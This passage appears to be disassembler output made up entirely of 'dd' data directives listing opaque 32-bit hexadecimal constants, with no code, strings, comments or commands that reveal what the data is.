		dd 74E08521h, 858DDC2Eh, 1C9B4D42h, 0F8D17604h,	0E97C5D41h
		dd 7B809A42h, 72782CEBh, 888F917Fh, 0CE709B55h,	9D172157h
		dd 10B3151h, 2FDDEB21h,	605E2E60h, 209EB914h, 0A0989DA3h
		dd 958F275Ah, 0E9CE40DDh, 850A74C1h, 0A58A0A17h, 0E57578C0h
		dd 4081692Bh, 0C02C01C5h, 0B6EB0E8Ah, 0A8F0C989h, 0B39E233Ch
		dd 0AC0E7380h, 0AF96C78Fh, 9DED0840h, 0D400253h, 5FEBA4D8h
		dd 0C209433Eh, 951F80EBh, 20F595C0h, 3CDF8BCEh,	5D185888h
		dd 919E51F8h, 1C1FC140h, 0C5C04AF5h, 60289C65h,	45C408A3h
		dd 0C1F89A9Eh, 3F20A59Bh, 0ECA46C84h, 85AD7C5Ch, 910A80A0h
		dd 60A04068h, 202C95F3h, 0B07C0817h, 59F95D0Bh,	32550A0Fh
		dd 6056E0FDh, 4B324145h, 1B007430h, 8F0EAF86h, 2760BF8h
		dd 17FEDA39h, 5442928Bh, 45D72C60h, 78516F60h, 8044B75Ah
		dd 0F30090E2h, 8B759BF8h, 0D60980h, 74318892h, 7C5E99Ah
		dd 6C7888D8h, 51AC6263h, 0E201ADB7h, 2048F4B4h,	0C6284376h
		dd 7C8503Ch, 0D6DCD99Bh, 5947C171h, 0BDA6E1E8h,	3C389058h
		dd 54307D3Eh, 9F919B71h, 47487660h, 6AE167Fh, 61A77908h
		dd 609778D8h, 0C158ABDh, 320F153h, 0DEF6CE68h, 0F38B7613h
		dd 1A7707AAh, 6DE780E4h, 4A00DA7Eh, 4902AC22h, 0FCBA47A7h
		dd 80E6511Fh, 1DF61860h, 0C0599F8Dh, 8EAF888Ch,	0B0A0F71Eh
		dd 0E8C086B0h, 9375C58Bh, 4838677Bh, 80CB65D7h,	0DAF1670h
		dd 0A150C8A4h, 6416698Ch, 9413AC98h, 91498C06h,	29840268h
		dd 1CA0D77Dh, 1824E483h, 48B2C3E0h, 4B508A00h, 6A1F973Fh
		dd 3CB00EAh, 56AF9A69h,	0CE618DDFh, 0DA319B80h,	2D5FF050h
		dd 1E03005Dh, 4B2E84EEh, 34019F12h, 4CC13533h, 0B0C10B8Fh
		dd 1E278EE0h, 40EDABAFh, 9C1BD89Bh, 360232D6h, 87A9CE5Bh
		dd 0E3A4AF22h, 0FB24D39h, 7EC66D60h, 0F70AD8D4h, 3C0D0CAh
		dd 18DAE188h, 0ABA2ADA8h, 10C815Ch, 3DE8D2E9h, 0D07079A7h
		dd 31F0D993h, 3A6870AFh, 0A088D951h, 0C4B0A810h, 18018CD6h
		dd 0F6CAEA75h, 59343181h, 20B47EAFh, 0FE00A35Ch, 0B2F7DE87h
		dd 49321343h, 0C031C4Ah, 0A96851FBh, 2CC75000h,	0ADD9F859h
		dd 1679C00Ah, 3839DB78h, 0E175B4B8h, 0B9054824h, 507ABB05h
		dd 0DE81A82Eh, 83FA860Ah, 0D32C9FE0h, 0F5800592h, 0D09D5BFFh
		dd 0E0F38E84h, 0C276FCA0h, 0FC6BCB12h, 0C0D5740Ch, 5DE80088h
		dd 78C85BD7h, 0E10059C2h, 50D19A1Fh, 0A0090421h, 6EF9AF80h
		dd 0C0DD31A7h, 9B6636FEh, 4E37CBF7h, 7AD01873h,	40075A81h
		dd 0E688528Fh, 0C08D54D2h, 2E0A016h, 9A2937F7h,	6E3771B8h
		dd 0FC3E838Ch, 6A1283h,	98EC15A1h, 0CF36106Bh, 0C8485DE2h
		dd 21BF37D4h, 0D58B7A50h, 16790CAFh, 55A00B0Ah,	0D15DBC00h
		dd 14FB41DEh, 24D0926Eh, 400CA9C7h, 7DB2C4F5h, 4570AAh
		dd 3E109E00h, 6ED8FFh, 0DA52A52Fh, 0F372CAADh, 264EDE48h
		dd 66007CA7h, 9BBBB284h, 974F03F4h, 747571EDh, 14586800h
		dd 4150768Ah, 740648DFh, 7CC84B28h, 16D54042h, 4A7CC774h
		dd 7375E318h, 50F3BB80h, 969F4C2h, 3776D99Ch, 83182411h
		dd 0EECCF079h, 84CB9FBh, 0B0D6E083h, 38249A3Ah,	4BE045Eh
		dd 0AED7E19Ch, 9BC13487h, 0B422E4D5h, 0A93D1200h, 8C6C47CDh
		dd 5003149Ah, 85FD2FCEh, 0E85AC388h, 50B558F4h,	9C8033h
		dd 0E95E4EC6h, 75D1BFCFh, 7E6A1400h, 14297DEh, 0E2680676h
		dd 0F1203989h, 2C3A7090h, 72D041DDh, 58B34893h,	48C6985h
		dd 21FECB0Ch, 0AB0892D5h, 0E9C16722h, 0DFFF3183h, 99CBFD9Bh
		dd 91498FBFh, 35D17883h, 18A2A80Ah, 9C1F8C4Ah, 5573A340h
		dd 9005AB39h, 0E8222CE4h, 0BCF0240Ch, 5B041CC9h, 83F18D2Fh
		dd 66E190E4h, 2D0C41A9h, 7C1413E6h, 5077EE59h, 14F7B82Bh
		dd 0CC9FFFF6h, 88467C50h, 68253932h, 7B089CDh, 0C1CC7FF4h
		dd 40851207h, 0D5801F09h, 0CAC6243Ah, 5F1E6153h, 61956A39h
		dd 0D35908A8h, 0D70A8392h, 60E57FDCh, 3DDF7930h, 1BAD8F1Bh
		dd 166AB049h, 0D6E22932h, 0A198880h, 8CD05A44h,	90CB71E6h
		dd 0C2B487Ch, 7E50787Bh, 4844908Ch, 0C9399889h,	7348D9B3h
		dd 0F8E78822h, 68409B1h, 24C3DE5Ah, 48C0F698h, 3E39C0CEh
		dd 0A513106Eh, 5D2FF007h, 0ADDD2820h, 0F6DC1C5Ch, 0AF67C7B8h
		dd 57DAD383h, 491F39C0h, 3DC9A600h, 0CCACB7CAh,	0E34D00F6h
		dd 4C477043h, 0B6011C71h, 5874FE26h, 44F82F07h,	17EC0731h
		dd 3D1147h, 37DF87A6h, 226BC3Ch, 0B8DC0A36h, 873C90DBh
		dd 8854257h, 624AB949h,	4B18D06Ch, 24218C49h, 36F388E7h
		dd 0B7CFF581h, 1902BD52h, 5D881881h, 0B7C9001Ah, 5CD1337Eh
		dd 37F8C720h, 22527370h, 2FE81530h, 225A3F18h, 9B90623h
		dd 80166BACh, 0F3A38301h, 4FCDB858h, 21489C58h,	423CE8B6h
		dd 0EB73BB00h, 7CB935F1h, 61AC5105h, 0F8145508h, 541A0347h
		dd 0C0BE7F80h, 14117A9h, 0C1BA1B49h, 0E0C56951h, 920F9CA0h
		dd 0C84FC0h, 0B3D6C4E8h, 55B23B54h, 6947B100h, 0EFB87E5Ah
		dd 0E6D47C06h, 1079C383h, 9CA47D39h, 22489C23h,	0E9F91F0Ch
		dd 0E0689Eh, 0FE9CC5D0h, 61B79085h, 1C54E429h, 586A581Ch
		dd 42EC123h, 219068FCh,	4918D184h, 3411A943h, 0A7AD84CEh
		dd 1843A831h, 0BB3828D0h, 1F8D223Ch, 0E7FED60Eh, 0AEC139B1h
		dd 2843188h, 0A998306Eh, 0ACA6CE20h, 908BD3EEh,	88823DFDh
		dd 31C2AED5h, 109198C8h, 51FD2E7Ch, 0C95596Ch, 24D1460Ch
		dd 5CC200F9h, 5202206Ah, 0CA65CD2Ch, 180286A8h,	118FB351h
		dd 0AD840A70h, 0B9C8328Ch, 0D85874F4h, 2184AEEDh, 94949EF8h
		dd 5029C46Ch, 18D40431h, 3CBE5415h, 38758E18h, 0BD47C0A6h
		dd 0A8757014h, 0E1E244C8h, 1CF4195Ah, 3C96548Dh, 0BE5921E3h
		dd 78AAA89Dh, 108C1971h, 9D9030ACh, 58282F91h, 111968FCh
		dd 2BB12FCh, 906A552Ch,	0A447C104h, 0D94288BAh,	0FD8B202Eh
		dd 306A0EE7h, 59144410h, 44993DD8h, 0B81988D4h,	56F42386h
		dd 0C1DC1404h, 60980122h, 4D8647C0h, 61C408E0h,	0BFF831A4h
		dd 88FC2918h, 14C44784h, 0CA9C47B4h, 98E1D851h,	0D80092E1h
		dd 250F666Ah, 61C29080h, 0DCEC5D2Ah, 304115E0h,	0F728D524h
		dd 0E1EC47FEh, 73B853Eh, 0C12D4CEFh, 0B6558D70h, 0C5C40CDCh
		dd 66B0A825h, 51A66230h, 62443DFCh, 0ECC8D8E3h,	5C5E2498h
		dd 82C28804h, 0A8216801h
		dd 9830B1E7h, 180691CBh, 6288E0FCh, 8558A06Bh, 0C33280EDh
		dd 3F0058DFh, 4459912Dh, 28866894h, 0D1D008A0h,	85441837h
		dd 23EB6607h, 67C07BF5h, 8002D606h, 2C61AA69h, 7AA88C4Dh
		dd 30E060A7h, 30E554E9h, 2AE3DB05h, 9421F789h, 0B0444309h
		dd 20A9428h, 82C3ABDEh,	540157D1h, 5180EB59h, 582CC8C2h
		dd 11C3D444h, 2569D82h,	4306929h, 2040D281h, 4128943Bh
		dd 5519B05Fh, 91381BEDh, 1448E18Eh, 54DBBFC0h, 3E14552Bh
		dd 5885087h, 0B3463DC4h, 0D67FCC45h, 0C257A823h, 79FC9933h
		dd 0F9C5A450h, 0FCC0509Dh, 32EF4CCFh, 29607848h, 41A3085h
		dd 784E949h, 0ECF15D67h, 0F0B6B360h, 7C1F2AE1h,	0CCE900C4h
		dd 0B296CB46h, 63156D91h, 75F47154h, 0E80C68ABh, 51BE7021h
		dd 0E103229Fh, 0C1C3349Ah, 1DFC5430h, 93AEE379h, 0C19F00EDh
		dd 193B8CE7h, 8E19528h,	50FFD8A1h, 0C5EB60ACh, 487658h
		dd 91CAD0B3h, 766B669h,	0FB638A13h, 0E3C28083h,	0E0A85AFCh
		dd 0F014E6FDh, 80E8E52Ah, 5453719h, 0E630A1BBh,	0C6DB4810h
		dd 98436788h, 0EE27F810h, 0E0B0D1EBh, 1B237AC0h, 2A028776h
		dd 0C2BD932Bh, 26488080h, 807CFC0Dh, 41F03D7Fh,	65C88C54h
		dd 28BDEB10h, 0E0CC52Ah, 0CAE181Fh, 0C2ECA05h, 5C20A280h
		dd 2A709E40h, 0F018C7FCh, 5AD1562h, 0CA00B419h,	6B270955h
		dd 0C9343B78h, 7880A842h, 80C0ACD5h, 46484159h,	0F5EB8238h
		dd 257C61BBh, 0C9E7A860h, 840FA358h, 8814420Ah,	7D08A76Dh
		dd 25C84C44h, 94987A54h, 45051892h, 667BEF48h, 54005CC5h
		dd 71C43BA1h, 0C890C7B2h, 300957C6h, 0A3FBD00Ah, 651F5E00h
		dd 0AF2C59DBh, 851B0742h, 87588B4Ch, 275B80F0h,	46609E9Ch
		dd 8FB6BC28h, 0AC4063Dh, 41AFFBE2h, 43EC3607h, 72C0C106h
		dd 0C05C3h, 5FC6AD45h, 1C90B195h, 0B9FE2303h, 1218D6h
		dd 3AFA0E80h, 0BC8C89C9h, 42A4914h, 94200648h, 7500730h
		dd 0FACFABFCh, 0BCA8C110h, 3EBE0FEh, 4DF210C0h,	0C7DAC163h
		dd 0C99B1BC1h, 50863B83h, 3EC6C5C8h, 48C7E230h,	81122A93h
		dd 0BB9CD836h, 2F917801h, 0F159C8AFh, 63582C50h, 4A660C27h
		dd 0C2202DE7h, 0DF227B03h, 0E3671E4Eh, 5C1918FBh, 0C22C4123h
		dd 2448F829h, 0DA6AD600h, 2982BC57h, 348A1EFh, 5BEC02A4h
		dd 54CEF003h, 7C962B8h,	63762048h, 45031086h, 0DB543FA5h
		dd 4C33DF30h, 0B0C8F1BFh, 28C0459Ch, 2082F93h, 0DAD84B64h
		dd 0BC807CEBh, 6C9D69A0h, 94A8AD61h, 5180CE4Ch,	85E922EDh
		dd 771458C7h, 0FCB0FAh,	8374EFAFh, 3F0B6C0Eh, 0CF25238h
		dd 5F7585FDh, 0E40AD879h, 8453D67Bh, 0FF0674BCh, 0AE7FC769h
		dd 39C7168h, 458ECAD5h,	381C5A55h, 34C091E0h, 0FB883ABCh
		dd 4519C020h, 927CF194h, 662D0A0Ah, 0DE006847h,	444250BAh
		dd 9567823h, 207967ACh,	0EE1C3818h, 391273FEh, 870CC9Ah
		dd 3C3835C3h, 8280BC56h, 23378BDDh, 5B2850F9h, 1F1388ACh
		dd 0C804562Dh, 5880AE2Eh, 81825AF5h, 16C4F8D1h,	0D06894F9h
		dd 98B098F4h, 0EFF80C38h, 3D382D18h, 0BC6B7D03h, 0C5ACD164h
		dd 220FA405h, 67FC2043h, 6B23C136h, 15AAE880h, 0D17BBE26h
		dd 9CB26968h, 702D8A80h, 0C833B04Bh, 0FB807518h, 234D5856h
		dd 544739FAh, 1078AD34h, 200110F0h, 0CEC1144Bh,	0B4A4522Eh
		dd 109C5527h, 0C388AB22h, 14102A1Bh, 0F11DF0E0h, 0C7395BD8h
		dd 65655211h, 6A18073Ah, 2C6BF284h, 47937F20h, 9810A14Ah
		dd 67D275E0h, 828A113Ah, 3080435Bh, 6247849Fh, 3A202762h
		dd 2EA8A03Ch, 0B8556E31h, 4174A831h, 0BF3A1C8Eh, 0A56480B4h
		dd 959D6FA6h, 0FD204C60h, 900AD3ABh, 0B1203CB0h, 0F4EB6800h
		dd 4044939Bh, 48C061DFh, 1211669Eh, 68D1002Eh, 6487CCD8h
		dd 3714042Ch, 4DC1F7Bh,	0C77292CBh, 90C0C80h, 0F7A52A42h
		dd 2875EAF4h, 0F5B47384h, 24A47ED4h, 3A184860h,	0F1187D30h
		dd 28241592h, 0CB005071h, 4A7F3BCAh, 0FB8A1287h, 2DA84180h
		dd 306573ECh, 0ED0A969Ch, 804FDA68h, 0A40CEA93h, 0A2FD070h
		dd 9CD4DCD2h, 0D3BC06ACh, 12031844h, 0A31E52ECh, 5D7FE00Ah
		dd 583C5069h, 589CA97Ah, 23A848FAh, 6B2020ECh, 0EFCABD1Eh
		dd 0ACC74006h, 98A00F41h, 0A138FB8Bh, 0D4A81CC3h, 190251DAh
		dd 86E6A29Ch, 584622h, 461BE7BDh, 8B20816Ch, 76ADA620h
		dd 45B626F1h, 40CA0964h, 0B5F01020h, 9C262011h,	0BCE4E7h
		dd 592DB4F8h, 122E1B19h, 1491BA96h, 0B373CB4h, 0C9E0F81h
		dd 5818306Fh, 0A2514F60h, 0E8DB78A9h, 278234D2h, 79C080E9h
		dd 0C9DEC419h, 28108108h, 0D0931014h, 22BC0031h, 24C6E68Dh
		dd 47671BC2h, 5A27155h,	8198441h, 50657888h, 0C84E0809h
		dd 0DC465220h, 304540h,	585EF894h, 0AB80AC02h, 412F20D8h
		dd 0FC30DCDCh, 14FB0164h, 42248645h, 1CD1C459h,	0FA61F49Ah
		dd 0F068A338h, 67060060h, 0C3DE19D8h, 383BAD72h, 92E00027h
		dd 9B6C5626h, 3E18C98Dh, 97D7E024h, 0D06F34B8h,	0CE43AC14h
		dd 0FB776306h, 303895CFh, 0AB29B8D6h, 717AF0B4h, 235AED05h
		dd 5C01AD43h, 0D29D6E1Fh, 62602834h, 0AE471084h, 0BA084624h
		dd 770A5844h, 6C800F18h, 4CAD6B04h, 0A865108Fh,	1B787C8h
		dd 0CDE7F513h, 60C0A975h, 0A4A80A3Ch, 2E025ABFh, 68AC6965h
		dd 806C415Bh, 0DD27A041h, 591BA020h, 8B2CE4EDh,	80002447h
		dd 0B9E0A475h, 0AE3C8D93h, 0A488BDBDh, 3CBC08A0h, 0FF0C094Eh
		dd 800C816Bh, 0C7F8A444h, 0DAAE01EAh, 2F9D8903h, 2ADC60FEh
		dd 41DF2400h, 82DE6C19h, 0A0B2F9h, 8DA01DB6h, 0D14F042Fh
		dd 98C3F3E0h, 75AD46EEh, 0F02C40C9h, 9671B02h, 556AC45h
		dd 0D8B0C9A3h, 0C2241966h, 2F800085h, 48CF5FC3h, 0A938715Bh
		dd 9CE21B94h, 94583F78h, 12248DA6h, 0B7001C2Ah,	81350479h
		dd 112E8EA4h, 18E167FFh, 333AD034h, 0DF8826FBh,	7C97A6A8h
		dd 90AD8C20h, 88750250h, 1ED96EBCh, 62EC6040h, 4823F4A8h
		dd 8E3A8518h, 446AC11h,	20012CBEh, 10BC887Bh, 584CF258h
		dd 2AC493Eh, 125D2E2h, 0B534E023h, 4518CB24h, 55703482h
		dd 67D0D808h, 5C9093h, 988AAA21h, 0CC9C4523h, 88385A00h
		dd 1A910E78h, 38849036h, 0D9009239h, 0BC23A0D3h, 0D8B23190h
		dd 0D40AC90h, 45E9C0CEh, 13CA3A8Fh, 82D1C60Dh, 56CD1058h
		dd 70821C65h, 4D2DA2DCh, 5A502CECh, 0A72CF51Ch,	0D012BCB9h
		dd 84A8F051h, 22558CAh,	4D93C74Ch, 0DD5C8CB4h, 7BE0147Ch
		dd 3946C4E8h, 0D2F9361h, 0D432FEF9h, 0FA095053h, 4420BC1Fh
		dd 6C188045h, 0CC0B3E24h, 75BB8781h, 0C054279Ch, 8C8AD85Fh
		dd 588588A2h, 801441D6h, 6AEB330h, 33DE1081h, 0EF167196h
		dd 80016734h, 0A91A3A93h, 28CCED4h, 0BD8F2BEBh,	0B084D903h
		dd 3E9C9810h, 61D6D18Fh, 5C8440CCh, 0D4049B96h,	0C8E92A5Eh
		dd 154B8C8h, 4049129Ah,	485A84ACh, 10858BCh, 8071C002h
		dd 0D456CED9h, 8E24AA4Ah, 8D9E2CBCh, 4FFBFC02h,	9C4C680Bh
		dd 94C4EEBFh, 0DAC0FF4h, 0B0A68590h, 902A8407h,	741E6E85h
		dd 0AA557A01h, 7C32ADECh, 0A61E8500h, 0DF16505Bh, 97EC303h
		dd 0F6F0C098h, 12BF1FD0h, 0B84F0683h, 571B497Bh, 88B1E0D6h
		dd 0C514FFh, 1BC225C3h,	0D5649C6Ch, 5818113Dh, 98F401FCh
		dd 7BD3C612h, 0DBB5B0CFh, 610D0223h, 6E9D68E0h,	0B85CE864h
		dd 0F81626C4h, 9168EF42h, 2095A708h, 8A00C81Eh,	88E6BC81h
		dd 94AB98FAh, 601B14B9h
		dd 6A4DDA64h, 4C007A28h, 74DD2DC5h, 6FB845BBh, 0C0E3C940h
		dd 290F523Ah, 0C89C113h, 55E16132h, 4431E0A1h, 0D33618Ch
		dd 16503AF9h, 51C08D14h, 0EAF1A772h, 2CC092D3h,	2134E00Ch
		dd 17F8029Ch, 6C404404h, 827B2DCDh, 8313DE01h, 0DAB84218h
		dd 10F2C2Ch, 9F40C661h,	845C6E5Bh, 0BCB37526h, 304B5597h
		dd 0CA18B902h, 970B9C29h, 28997593h, 1AB4203Ch,	79DB11C3h
		dd 0B859D8B4h, 3208BA32h, 1A803583h, 48780883h,	0C90FC1h
		dd 0CE76DC5h, 444A6638h, 5274BF49h, 606A540Ah, 2411CCCDh
		dd 9852D439h, 927A9848h, 620E0354h, 8C88BBA5h, 821248D8h
		dd 53F04B00h, 7EC363Dh,	0B528C07Ah, 0E30FE20h, 240227h
		dd 7859F2CCh, 0A95F019h, 0FE4003FCh, 9FCA600Ch,	57EDE291h
		dd 3B2260B0h, 9C001227h, 8BD05A2h, 0A0A00C62h, 48CFC240h
		dd 6C4B84BFh, 6010EC54h, 7F126FC8h, 34ECDC43h, 48E6778h
		dd 25D9DAC7h, 0BC70F0AFh, 10FACF11h, 71A0716h, 0FE4C8520h
		dd 0DAE12C20h, 0B1009564h, 5623378Ah, 981C27BAh, 26F17EA8h
		dd 28DFE4h, 358EF04h, 8002C784h, 96632060h, 5BE0421Ah
		dd 2C20B970h, 7F102900h, 84BDCAE3h, 5F4B44h, 77DADE60h
		dd 58C2428Bh, 0A37E217h, 8AB43E60h, 38BC8D18h, 1DB90F8Ch
		dd 88C94A94h, 68920E07h, 3300A8DAh, 0EB5FB581h,	0E0480011h
		dd 0AF2946C2h, 0A4016CF8h, 881DC6CCh, 818FAAFBh, 30269412h
		dd 1BF64869h, 0C4F0B841h, 183E6450h, 404CC91Ch,	97EDBFACh
		dd 884F752h, 0F1D1E11h,	16ECE8E3h, 50000930h, 48C151D7h
		dd 320121E5h, 69F8B14Fh, 84B9D918h, 218435E4h, 49C08BBEh
		dd 519994EFh, 0F884B069h, 17B0BA6h, 6B09830Fh, 9B20C20Bh
		dd 0E1D861A6h, 6216DB00h, 2DEDC109h, 5824007Ah,	9878F668h
		dd 336616ACh, 0DAD84008h, 0FDB52E92h, 7A00D576h, 453B8D0Fh
		dd 80C538h, 0E123A79Dh,	65D5104Eh, 6BDBB901h, 0EFEA7CB5h
		dd 14BB35E0h, 20B4E47Bh, 48C67438h, 2F6F1DF4h, 37F1CF41h
		dd 3880FB51h, 0D561D13Ah, 972E4A9Eh, 9D1C1189h,	42ADFC83h
		dd 60CEBA22h, 4CB291h, 48EB14F7h, 0D121B0EDh, 0EA8E9D19h
		dd 2F100A29h, 803CB67h,	0BFC06014h, 0DAF3C002h,	3F35073Dh
		dd 603A63B5h, 421001A3h, 7CFB8C01h, 4AE21230h, 3754D8h
		dd 570325Dh, 0CA9CA95Eh, 5C45D03Bh, 5DE02C82h, 0CB85F801h
		dd 5FE0AA4Eh, 40970008h, 2BCA8030h, 470759FBh, 566EA526h
		dd 8F467FA1h, 1E313C8h,	48F1DC9Bh, 0C03370C9h, 237238BDh
		dd 7A03F5E6h, 0E913D0FBh, 1128A8A6h, 0F62530AEh, 7FA2FA18h
		dd 700043F2h, 16968E04h, 260710h, 0D4EC7586h, 0B92735BFh
		dd 0F733B528h, 4CEA0C07h, 42265FEh, 5CDA403Bh, 0DB876h
		dd 0D4021C5Dh, 2E79E29Ch, 1B426000h, 3032FB71h,	0A5120016h
		dd 0D5E6CA9Ah, 0A8005135h, 0B6086761h, 78ECE46Bh, 4C7900BCh
		dd 6E1CC50h, 0C90D848h,	2F17BE00h, 0F2121CE6h, 7EF400F3h
		dd 8D59F10Fh, 601DDCFh,	4B020965h, 94E4EEC1h, 0D6EC0026h
		dd 0C7343B81h, 0B908340h, 21742972h, 54FE3A00h,	5669D485h
		dd 6ED0070h, 2DC78DDFh,	0D6077D23h, 0EA3D4453h,	0E4944660h
		dd 802070Ch, 406F1D3Bh,	8126DFFDh, 27C3201Fh, 0BFB10300h
		dd 0F0141889h, 0B6AB00BBh, 36D2D13Dh, 3400BE3Ch, 867F0244h
		dd 60068954h, 0EE73090Dh, 1BFC0F25h, 31FC4B2Eh,	0A14FCA00h
		dd 19015D4h, 72202E40h,	0C48D071Eh, 73000C56h, 37D3AFA7h
		dd 9E2236Ah, 0D0A0B33Bh, 8EBF7800h, 47E8E37Bh, 78FA703Eh
		dd 0A78BA317h, 0CAD3A507h, 0B8A96CC0h, 0BE6103B7h, 0D4609B4Ah
		dd 0DBEAC085h, 51016D07h, 196E14A2h, 0F9FCC74Fh, 0D7FA00C2h
		dd 0BC3F8E22h, 500E4B27h, 40A969E7h, 61E4B41Eh,	6C2400F6h
		dd 0EF05784Dh, 333CA31Ch, 0EACB1F5Fh, 0DDA46E40h, 8A6A94h
		dd 8431A660h, 9B4E764Ah, 0BF792678h, 6E3CEF7Ah,	8E0E8090h
		dd 0D5196653h, 0E4500F37h, 5AC742F6h, 0B7CD1117h, 6147CC75h
		dd 0D265E4A0h, 9ED7C705h, 87C00879h, 5C50288Dh,	0E6004383h
		dd 0D6200A23h, 7A1CF238h, 2409FC3Fh, 0D30680DAh, 1C1FBCB0h
		dd 81A4F3AFh, 99BAF952h, 8F8EF859h, 0FCD65E00h,	111EBBCCh
		dd 6637073Eh, 0A3B71204h, 8109E36Ch, 7BC20F1h, 0DFE2AEB9h
		dd 95807F55h, 66647860h, 0C95AB800h, 7AFFA003h,	3167007Bh
		dd 535E2737h, 140F02E2h, 2C42C2BDh, 1A701830h, 7A755F1Bh
		dd 435D8740h, 4F3568C0h, 0A28AEAh, 67B1E27Ah, 0C30A94B7h
		dd 7F996A0Eh, 481980EDh, 354A8Ah, 81212AFDh, 59BD3B5Ah
		dd 0E337CC00h, 14CA2938h, 7CFD0036h, 17E79F5Fh,	75F0AF9Ch
		dd 0FBE39200h, 335AAC7h, 1CD9042Dh, 80F3F4F8h, 87BFCC3h
		dd 0D0220F1Ch, 9C02C8C0h, 1D958E8h, 4CCA6842h, 301388EFh
		dd 7003F68h, 0FEA42FC7h, 75DAA80h, 2AB09C9Dh, 0DBC2C0ECh
		dd 7A7467B6h, 8C18FF00h, 64F2C74h, 3ED0289Bh, 2D041FACh
		dd 23B8C0A5h, 0CAC01082h, 0D309BC76h, 0F763122Ch, 0F58D5300h
		dd 9C00FA87h, 0AEE125A0h, 74E03BD6h, 0E4A7A0EFh, 1638025Fh
		dd 2FFE7701h, 0B46BD040h, 879F4600h, 5809C0B2h,	0C7DD389Bh
		dd 0A5A77103h, 12A32440h, 0B136B88h, 380018FCh,	53CA79AAh
		dd 14F74D5Ch, 0ECB9936Fh, 0C0456C1Eh, 0A0BA8C96h, 0A7001B34h
		dd 523C4F62h, 265E08h, 0BF67A983h, 1CE0CDA8h, 50B07900h
		dd 0B696AB1Fh, 8C080058h, 0FA266D6Ah, 0A500135Eh, 0D8F667BAh
		dd 7FBCC6h, 0C18034DAh,	5EE2861Eh, 92070400h, 1CA42239h
		dd 8E98A0FBh, 0BECE002h, 0F70F1F11h, 0FA212E01h, 66676043h
		dd 7BE69407h, 0C3A4DFF9h, 8977FC80h, 81BB0056h,	57D2A445h
		dd 26073CF0h, 3F7E701Ah, 0D15F72D0h, 2678E89Eh,	904E2A9h
		dd 90802744h, 281BF8A5h, 83369B60h, 757849h, 4A71884h
		dd 3AD6DE70h, 6B4C9BE4h, 880D0044h, 6D5C4ED3h, 18F0DFh
		dd 0CD46A9A8h, 0DA12CA17h, 56904300h, 0EE34FB81h, 73B70037h
		dd 206908A8h, 7400D9AAh, 0BDE22490h, 90F9AD3Dh,	0C4CF1488h
		dd 5A00A419h, 0DB8C678Ah, 4A003AD4h, 0C3BB63B3h, 151F05h
		dd 7FA7FED5h, 8EAD8731h, 0BD8E000h, 0BEB0D680h,	0AA50019h
		dd 0F49F3A4Eh, 0CA00221Ch, 0A83C5B90h, 579445h,	4C6B43CCh
		dd 0A29273F0h, 0BEFE3407h, 58820FD8h, 4C0890A5h, 0C1354111h
		dd 0B121E009h, 1D8821C0h, 7F68C863h, 16081CACh,	7C6601CDh
		dd 0F442D615h, 73013709h, 9B467AD4h, 6471E9CCh,	0E5CFE8E3h
		dd 881D5D33h, 0BA8C3A3Fh, 0D821E1CBh, 0EE380h, 3B640416h
		dd 0A656F001h, 7C1ECB76h, 0D6C09EDDh, 0D7B3CFC0h, 826F134Bh
		dd 65820233h, 2C802BBCh, 0D7D34789h, 0AE1EC3Ah,	147F52D1h
		dd 73B63400h, 49582Bh, 0CFF73EFCh, 2E3DBCF9h, 0ED241600h
		dd 0C73CF521h, 5AAB00A4h, 8B134C33h, 7800EC1Fh,	71CBA84Fh
		dd 0E402409Fh, 0CA011CB5h, 186EC035h, 77256AEFh, 0B91C930Ch
		dd 1DD3704Dh, 7D9E44h, 0DF9A9B23h, 62B8464Eh, 0CA5F1F00h
		dd 724714DCh, 68EE00F1h, 914901C1h, 561EAFF5h, 15403BFAh
		dd 34834E5h, 7A4B079Ch,	30521EFCh, 8B85B6D1h, 36A77600h
		dd 562F04DCh, 82E4005Ch, 7108A158h, 0D6001D19h,	0AE1AC9Fh
		dd 0E31077Ch, 3E4C170Ch, 51412A80h, 8400DD81h, 8765F01Dh
		dd 0F8E949ECh, 0A4930209h, 0BE76981Eh, 476C7340h, 80F2CC39h
		dd 5E979CD2h, 74F8EAABh, 0E2A20048h, 79C9E443h,	0A800E77Eh
		dd 0ECC1FD06h, 0F1764Eh
		dd 0F64A9ADBh, 0B5635B66h, 619DA800h, 0E0AF6E2Dh, 1BA755Fh
		dd 0C021EFBDh, 43C8BF98h, 0AA886DFCh, 5272DE1Dh, 0CBE2B000h
		dd 2470AEF4h, 2876ECCFh, 18E83E9h, 90E3CE11h, 0E0357E1Dh
		dd 0FB18722Fh, 0CA58BBF9h, 0E50C0C91h, 0D5210342h, 28B96402h
		dd 0E068F02Ah, 3977E685h, 1380C845h, 719AF5D2h,	17308623h
		dd 580B8003h, 3CA160FDh, 47F9D31Bh, 443EB898h, 75688C0Eh
		dd 106A13h, 388FBC89h, 1A5F9E92h, 6A00F5FEh, 32C64C60h
		dd 3DBCB769h, 3B80E565h, 8EAEC579h, 0BE00A804h,	48C2FC33h
		dd 7C032FFh, 0BA394BE3h, 2FD51A5h, 806DC0B2h, 6B9FDA1Ch
		dd 4022F28Fh, 9CA91144h, 8AE30CF6h, 0D4B10845h,	77326177h
		dd 0C07BF07Fh, 0C5C122h, 6763FA8Bh, 2E1413CDh, 8AAFE300h
		dd 0FD4F0C3Ah, 657D00BEh, 75CEE802h, 2E0EC2A4h,	40D16C92h
		dd 0ECD2221Fh, 6B90A09Fh, 0AC500FBDh, 0DBE7937Bh, 34CEAEF9h
		dd 0D7101E82h, 9E0F8180h, 1F8B24Ah, 12E91D00h, 0A55CF32Ah
		dd 0F3DBE929h, 0D8180004h, 81D15459h, 2700CADBh, 42875E1Fh
		dd 1C78E0h, 4DF69C8h, 0A23C1247h, 53108C07h, 805B4AB9h
		dd 8FF00AA0h, 56BE0F52h, 0C3A019B8h, 0E087CB2Fh, 1068401h
		dd 3F480CF5h, 0F1F5460h, 0B25CB051h, 0A200FE5Dh, 0E0FFF1ECh
		dd 1400AFDFh, 5BF5DD6Dh, 6032A539h, 941902BEh, 0E0C57F2h
		dd 903A6C81h, 0E14E00E3h, 5DD24D9Ch, 7D00860Dh,	2EB70918h
		dd 0F28AFCh, 0C6487FEEh, 38C72436h, 54FE6107h, 3245A23Ah
		dd 0E8E1CFC3h, 3BC35AF7h, 1D0089D1h, 0D23A8134h, 720E0E7Bh
		dd 60651B96h, 862A0340h, 0F213D61h, 0FBA0E880h,	4E0D2D8h
		dd 0C2693B00h, 0C6FAC78Fh, 0CD3A0316h, 62FD48D4h, 402A86F0h
		dd 98C0542Ah, 2F96407h,	0BC90CE59h, 0A5E958h, 62CFCDA3h
